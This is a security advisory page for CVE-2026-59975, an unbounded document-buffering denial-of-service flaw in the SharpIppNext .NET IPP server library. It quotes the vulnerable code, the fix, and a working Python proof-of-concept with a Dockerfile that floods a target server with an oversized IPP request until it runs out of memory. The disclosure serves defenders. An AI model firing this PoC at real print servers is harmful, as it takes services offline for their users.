HIGH · CVSS 3.1 7.5 EPSS 0.6% · 51th percentile CWE-400

CVE-2026-59975: SharpIppNext: Unbounded IPP Document Stream Buffering Leads to Denial of Service

Published 2026-11-19 · Updated 2026-11-19 · Also known as GHSA-3h63-w8jq-rrf2

Summary

SharpIppNext contains an unbounded memory buffering vulnerability that allows unauthenticated remote attackers to trigger a Denial of Service via Out-Of-Memory conditions. Server-side implementations using the default configuration must update to version 4.1.0 or implement request size limits.

Who is affected

This flaw affects deployments using the SharpIppServer component to process IPP requests, specifically those that do not implement external request size validation. By sending an arbitrarily large document stream, an attacker can consume all available heap memory, causing the host process to crash. Only server-side implementations are at risk; client-side applications are not affected.

Exploitability

The vulnerability is highly exploitable as it allows for unauthenticated remote access with low complexity and no user interaction required, carrying a CVSS base score of 7.5. While the EPSS score of 0.006 indicates a relatively low current exploitation probability, the attack vector is direct and easily automated. There is no evidence of active exploitation in the wild according to CISA KEV data.

Remediation

How to check your project

Automated analysis of the published advisory data, generated 2026-11-19. Not human-reviewed; verify against the official advisory. How this works.

Affected packages

EcosystemPackageAffected versionsFixed inUpgrade
NuGet SharpIppNext >= 0, < 4.1.0 4.1.0 dotnet add package SharpIppNext --version 4.1.0

CVSS 3.1 vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vectorNetwork
Attack complexityLow
Privileges requiredNone
User interactionNone
ScopeUnchanged
ConfidentialityNone
IntegrityNone
AvailabilityHigh

FAQ

Are client-side applications using SharpIppClient vulnerable?

No, the vulnerability is limited to the server-side parsing logic in SharpIppServer when processing incoming document streams.

What is the primary cause of the DoS?

The library unconditionally copies the entire document payload into a MemoryStream without imposing any size constraints, leading to heap exhaustion when large requests are received.

Does this issue require authentication to exploit?

No, the exploit can be triggered by an unauthenticated attacker, particularly if the server follows the provided documentation example of exposing the API directly to requests.

Original advisory description
### Summary SharpIppNext's `IppProtocol.ReadIppRequestAsync()` unconditionally copies the entire attacker-supplied IPP document payload into an unbounded `MemoryStream` with no size limit. Because this behavior is enabled by default (`ReadDocumentStream = true`) and the official server documentation shows `HttpContext.Request.Body` being passed directly to `ReceiveRequestAsync()` without authentication, an unauthenticated remote attacker can exhaust the server process's memory by sending an arbitrarily large IPP request body, causing an Out-Of-Memory (OOM) condition and denial of service. > [!NOTE] > This vulnerability only affects server-side implementations (using `SharpIppServer` to parse incoming IPP requests). It does not affect client-side implementations using `SharpIppClient` or client-side request construction. ### Details The vulnerable sink is in `SharpIpp/Protocol/IppProtocol.cs`: ```csharp // IppProtocol.cs:39 - enabled by default public bool ReadDocumentStream { get; set; } = true; // IppProtocol.cs:466-470 - no size cap on the copy if (ReadDocumentStream) { message.Document = new MemoryStream(); await reader.BaseStream.CopyToAsync(message.Document); // unbounded message.Document.Seek(0, SeekOrigin.Begin); } ``` The full call chain from the public API to the vulnerable sink: 1. `docs/Content/Server/index.md:6-11` - Official server example passes `context.Request.Body` (unauthenticated) to `sharpIppServer.ReceiveRequestAsync(inputStream)`. 2. `SharpIpp/ISharpIppServer.cs:78` - Public API declaration: `Task<IIppRequest> ReceiveRequestAsync(Stream stream, ...)`. 3. `SharpIpp/SharpIppServer.cs:62-67` - `ReceiveRequestAsync(Stream)` overload delegates to `ReceiveRawRequestAsync(stream)`. 4. `SharpIpp/SharpIppServer.cs:52-58` - `ReceiveRawRequestAsync` calls `_ippProtocol.ReadIppRequestAsync(stream, ...)`. 5. `SharpIpp/Protocol/IppProtocol.cs:466-470` - `ReadIppRequestAsync` copies all remaining bytes after the IPP attribute section into a `new MemoryStream()` with no upper bound. The existing validator (`IppRequestMessageValidator.ValidateStringLengthLimitsRule`, `IppRequestMessageValidator.cs:260`) only checks IPP attribute string/octet lengths after parsing; it does not constrain the document stream buffered at step 5. Dynamic confirmation (Phase 2): a Docker-based PoC server built directly from the v4.0.2 source (commit `185343e`) was sent a 100 MB IPP document payload. The server responded `docLength=104857600`, confirming all 100 MB were buffered into a `MemoryStream` with no rejection. ### PoC **1. Build and start the vulnerable server** ```bash # From the repository root (build context: parent of vuln-001/) docker build -t sharpipp-dos-poc -f vuln-001/Dockerfile \ reports/pypiAi_973_danielklecha__SharpIppNext/ docker run --rm -d -p 8631:8631 --name sharpipp-dos-server sharpipp-dos-poc ``` The PoC server (`Program.cs`) uses the default `SharpIppServer` (which uses `IppProtocol` with `ReadDocumentStream = true`) and exposes a single unauthenticated POST endpoint: ```csharp using SharpIpp; var server = new SharpIppServer(); var app = WebApplication.Create(); app.MapPost("/", async ctx => { var req = await server.ReceiveRawRequestAsync(ctx.Request.Body); ctx.Response.ContentType = "text/plain"; await ctx.Response.WriteAsync($"docLength={req.Document?.Length}\n"); }); app.Run("http://0.0.0.0:8631"); ``` **2. Send the crafted IPP request** ```bash python3 vuln-001/poc.py 127.0.0.1 8631 100 ``` The PoC script (`poc.py`) builds a minimal valid IPP/2.0 Print-Job request (version + operation-id + request-id + operation-attributes-tag + two mandatory attributes + end-of-attributes-tag) followed by an attacker-controlled document body of the requested size, then sends it over HTTP. **3. Expected output** ``` [*] Target : http://127.0.0.1:8631/ [*] IPP header size : 72 bytes [*] Document payload: 100 MB (104,857,600 bytes) [*] Total request : 104,857,672 bytes [*] Sending request... [*] HTTP status : 200 [*] Response : docLength=104857600 [PASS] CONFIRMED: server buffered 104,857,600 bytes (100 MB) into MemoryStream with NO size limit. [PASS] Vulnerable sink: IppProtocol.cs:469 reader.BaseStream.CopyToAsync(message.Document) ``` Increasing `doc_size_mb` (e.g., to 4096 or beyond available RAM) triggers process-level OOM on the target server. **Recommended fix** Add a configurable maximum document size and throw `client-error-request-entity-too-large` when exceeded: ```diff --- a/SharpIpp/Protocol/IppProtocol.cs +++ b/SharpIpp/Protocol/IppProtocol.cs + public long? MaxDocumentStreamBytes { get; set; } = 128L * 1024 * 1024; if (ReadDocumentStream) { message.Document = new MemoryStream(); - await reader.BaseStream.CopyToAsync(message.Document); + await CopyDocumentStreamAsync(reader.BaseStream, message.Document, + message, MaxDocumentStreamBytes, cancellationToken).ConfigureAwait(false); message.Document.Seek(0, SeekOrigin.Begin); } ``` ### Impact This is an unauthenticated network-reachable Denial of Service vulnerability. Any server that follows the official SharpIppNext documentation and passes an HTTP request body to `ReceiveRequestAsync()` or `ReceiveRawRequestAsync()` is vulnerable out of the box, because `ReadDocumentStream` defaults to `true` and no document size limit exists in the library. An attacker with network access to the IPP endpoint can: - Send a single HTTP POST request with an arbitrarily large body to exhaust the server process's heap memory. - Trigger an OOM kill or `OutOfMemoryException`, crashing the ASP.NET host process and making the printer/IPP service unavailable. - Repeat the attack trivially since no authentication is required and the exploit requires only a standard HTTP client. Only consumers of SharpIppNext that expose an IPP server endpoint using `SharpIppServer` (e.g., print servers, document management systems, and IoT firmware) are affected. **Applications acting purely as clients (`SharpIppClient`) to query printers or submit jobs are not affected.** ### Reproduction artifacts #### `Dockerfile` ```dockerfile # syntax=docker/dockerfile:1 # PoC Dockerfile for VULN-001: Unbounded IPP Document Stream Buffering DoS # # Vulnerability: SharpIppNext v4.0.2 (commit 185343e) buffers the entire # attacker-supplied IPP document payload into an unbounded MemoryStream. # # Affected code (IppProtocol.cs:39, 466-470): # public bool ReadDocumentStream { get; set; } = true; # ... # message.Document = new MemoryStream(); # await reader.BaseStream.CopyToAsync(message.Document); // no size limit # # Build context: the parent directory (pypiAi_973_danielklecha__SharpIppNext/) # docker build -t sharpipp-dos-poc \ # -f vuln-001/Dockerfile . # # Usage: # docker run --rm -d -p 8631:8631 --name sharpipp-dos sharpipp-dos-poc # python3 vuln-001/poc.py # --------------------------------------------------------------------------- # Build stage: compile the PoC server against the vulnerable SharpIpp library # --------------------------------------------------------------------------- FROM mcr.microsoft.com/dotnet/sdk:10.0 AS build # Set up the vulnerable library build environment WORKDIR /lib # Create a minimal Directory.Build.props so SharpIpp.csproj can be compiled # without TreatWarningsAsErrors (build toolchain compatibility) RUN printf '<Project>\n <PropertyGroup>\n <Nullable>enable</Nullable>\n <LangVersion>latest</LangVersion>\n <NoWarn>$(NoWarn);618;612;NETSDK1138</NoWarn>\n </PropertyGroup>\n</Project>\n' > Directory.Build.props # Copy central package versions (required by SharpIpp netstandard2.0 target) COPY repo/Directory.Packages.props ./ # Copy the vulnerable SharpIppNext source code (v4.0.2, commit 185343e) # IMPORTANT: source is copied unmodified; only the build config above is custom COPY repo/SharpIpp/ ./SharpIpp/ # Set up and build the PoC web server WORKDIR /app/server COPY vuln-001/server/ ./ RUN dotnet restore server.csproj RUN dotnet publish server.csproj -c Release -o /published # --------------------------------------------------------------------------- # Runtime stage: minimal ASP.NET 10 image # --------------------------------------------------------------------------- FROM mcr.microsoft.com/dotnet/aspnet:10.0 WORKDIR /app COPY --from=build /published ./ EXPOSE 8631 ENTRYPOINT ["dotnet", "server.dll"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Unbounded IPP Document Stream Buffering DoS CVE candidate: SharpIppNext v4.0.1/v4.0.2 (CWE-400, CVSS 7.5) Vulnerability: IppProtocol.ReadIppRequestAsync() copies the entire attacker- controlled IPP document payload into a MemoryStream with no size limit: if (ReadDocumentStream) // default: true { message.Document = new MemoryStream(); await reader.BaseStream.CopyToAsync(message.Document); // NO limit message.Document.Seek(0, SeekOrigin.Begin); } An unauthenticated attacker sends a valid IPP header followed by an arbitrarily large document body. The server buffers all bytes in memory, leading to OOM. Usage: python3 poc.py [host] [port] [doc_size_mb] host Target host (default: 127.0.0.1) port Target port (default: 8631) doc_size_mb Document payload size in MB (default: 100) Expected result: Server responds with "docLength=<N>" where N equals doc_size_mb * 1024^2. This confirms all bytes were buffered into MemoryStream with no size check. """ import sys import struct import http.client import time def build_ipp_attr(tag: int, name: bytes, value: bytes) -> bytes: """Encode a single IPP attribute.""" return ( bytes([tag]) + struct.pack(">H", len(name)) + name + struct.pack(">H", len(value)) + value ) def build_ipp_request(doc_size_bytes: int) -> bytes: """ Build a minimal valid IPP/2.0 Print-Job request. Wire format: [2] version-number 0x0200 (IPP 2.0) [2] operation-id 0x0002 (Print-Job) [4] request-id 0x00000001 [1] delimiter 0x01 (operation-attributes-tag) [N] attributes attributes-charset + attributes-natural-language [1] delimiter 0x03 (end-of-attributes-tag) [M] document-data <arbitrary payload - the attack surface> """ # IPP header: version 2.0, Print-Job, request-id 1 header = struct.pack(">HHI", 0x0200, 0x0002, 0x00000001) # Operation attributes group attrs = bytes([0x01]) # operation-attributes-tag attrs += build_ipp_attr(0x47, b"attributes-charset", b"utf-8") attrs += build_ipp_attr(0x48, b"attributes-natural-language", b"en") attrs += bytes([0x03]) # end-of-attributes-tag # Document payload: attacker-controlled bytes after end-of-attributes # CopyToAsync will buffer ALL of these into a MemoryStream document = b"X" * doc_size_bytes return header + attrs + document def run_poc(host: str, port: int, doc_size_mb: int) -> bool: """ Send the crafted IPP request and verify the server echoes the full docLength. Returns True (PASS) if the server confirms unbounded buffering. """ doc_size_bytes = doc_size_mb * 1024 * 1024 payload = build_ipp_request(doc_size_bytes) ipp_header_len = len(payload) - doc_size_bytes print(f"[*] Target : http://{host}:{port}/") print(f"[*] IPP header size : {ipp_header_len} bytes") print(f"[*] Document payload: {doc_size_mb} MB ({doc_size_bytes:,} bytes)") print(f"[*] Total request : {len(payload):,} bytes") print(f"[*] Expected docLength in response: {doc_size_bytes}") print() print(f"[*] Sending request...") t0 = time.time() try: conn = http.client.HTTPConnection(host, port, timeout=180) conn.request( "POST", "/", body=payload, headers={ "Content-Type": "application/ipp", "Content-Length": str(len(payload)), }, ) response = conn.getresponse() body = response.read().decode("utf-8", errors="replace").strip() elapsed = time.time() - t0 except Exception as exc: print(f"[FAIL] Connection error: {exc}") return False print(f"[*] HTTP status : {response.status}") print(f"[*] Response : {body}") print(f"[*] Round-trip : {elapsed:.2f}s") print() expected = f"docLength={doc_size_bytes}" if expected in body: print( f"[PASS] CONFIRMED: server buffered {doc_size_bytes:,} bytes ({doc_size_mb} MB) " f"into MemoryStream with NO size limit." ) print( f"[PASS] Vulnerable sink: IppProtocol.cs:469 " f"reader.BaseStream.CopyToAsync(message.Document)" ) return True else: print(f"[FAIL] Expected '{expected}' in response, got: {body!r}") return False def main() -> None: host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" port = int(sys.argv[2]) if len(sys.argv) > 2 else 8631 doc_size_mb = int(sys.argv[3]) if len(sys.argv) > 3 else 100 success = run_poc(host, port, doc_size_mb) sys.exit(0 if success else 1) if __name__ == "__main__": main() ```

References

Source records: GHSA-3h63-w8jq-rrf2 (OSV.dev) · EPSS by FIRST, 2026-11-21.